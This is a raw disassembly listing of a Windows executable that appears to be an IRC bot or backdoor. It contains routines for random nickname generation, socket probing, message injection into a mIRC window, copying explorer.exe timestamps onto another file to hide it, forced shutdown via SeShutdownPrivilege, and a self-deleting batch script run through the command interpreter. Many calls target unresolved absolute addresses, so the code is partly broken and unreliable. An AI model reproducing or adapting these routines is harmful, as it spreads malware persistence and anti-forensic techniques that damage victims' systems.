nop
call near ptr 2680000h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
call sub_41C2C2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276D8
call sub_41D174
cmp eax, 1
jnz short loc_417ECE
call sub_41C2C2
call sub_41C2C2
push 66h
cdq
pop ecx
idiv ecx
push off_438A68[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call sub_41C2C2
call sub_41C2C2
cdq
mov ecx, 0C0h
idiv ecx
push off_438768[edx*4]
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C890
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B9C0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41D174
mov ebx, eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41D174
push off_438A68[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C890
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C990
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_418001
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41CBC0
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B9C0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DEE8
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41D174
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call sub_41C2C2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call sub_41D174
test eax, eax
jnz short loc_4181D5
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+var_C], 2
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A0
call sub_41D174
cmp eax, 1
jnz short loc_41827C
cmp [ebp+var_C], eax
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_427698
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BFD0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DF40
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: ___:0040DFD7p
; ___:0040E0C0p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C500
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA14
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA54
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_439374
push esi
call dword_4CBA24
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC
cmp eax, edi
jz loc_41842A
cmp [ebp+var_200E], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C0
push [ebp+arg_4]
call dword_4CBA24
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp [ebp+var_200E], 2
jnz short loc_41842A
push 10h
push offset loc_4393DC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h
push offset dword_4393F0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA6C
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
; sub_401ACD+C0Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+arg_8], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi
call sub_426465
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+arg_4]
push edi
call sub_41C2E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax
push edi
push ebx
call sub_41BFD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B9C0
push eax
push [ebp+arg_8]
push ebx
call sub_41CBC0
push [ebp+arg_4]
call sub_41B9C0
add eax, esi
push eax
push ebx
call sub_41C8A0
push ebx
push edi
call sub_41C890
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; ___:00410CF1p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BF70
mov esi, [ebp+arg_0]
push esi
call sub_41B9C0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CD20
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DFEC
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; ___:00415EEBp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C500
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B9C0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DFEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DFEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2680972h
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 27E0000h
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DB17C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9A4
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9C4
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
call near ptr 27E1707h
nop
push esi
mov edi, eax
nop
call near ptr 27E10C4h
call dword_4CBA28
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9E0
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 27F0498h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 27F02CDh
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C266
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA30
push esi
push 1
push 4C9h
push ebp
call dword_4CBA30
push ebx
nop
call near ptr 27F0000h
push edi
nop
call near ptr 26608D5h
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBA90
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 2800764h
push ebx
mov ebx, dword_427070
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 2800000h
push esi
call ebx
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB914
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; ___:00416C12p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAA4, esi
jnz short loc_4188CA
push esi
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 26A0000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 27107C1h
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 2700000h
push edi
call near ptr 26608D5h
nop
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB88
mov [ebp+var_2C], 1
mov [ebp+var_28], si
nop
call near ptr 2690000h
push eax
call near ptr 2670000h
nop
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 2680E33h
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 2680D6Ah
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call near ptr 2810000h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2660B67h
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26D04D8h
cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB954
push edi
push eax
call dword_4CB964
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset dword_4394FC
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+var_294]
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
call near ptr 2680972h
nop
push eax
push offset unk_4394D4
jmp short loc_418A8F
; ---------------------------------------------------------------------------
loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+var_294]
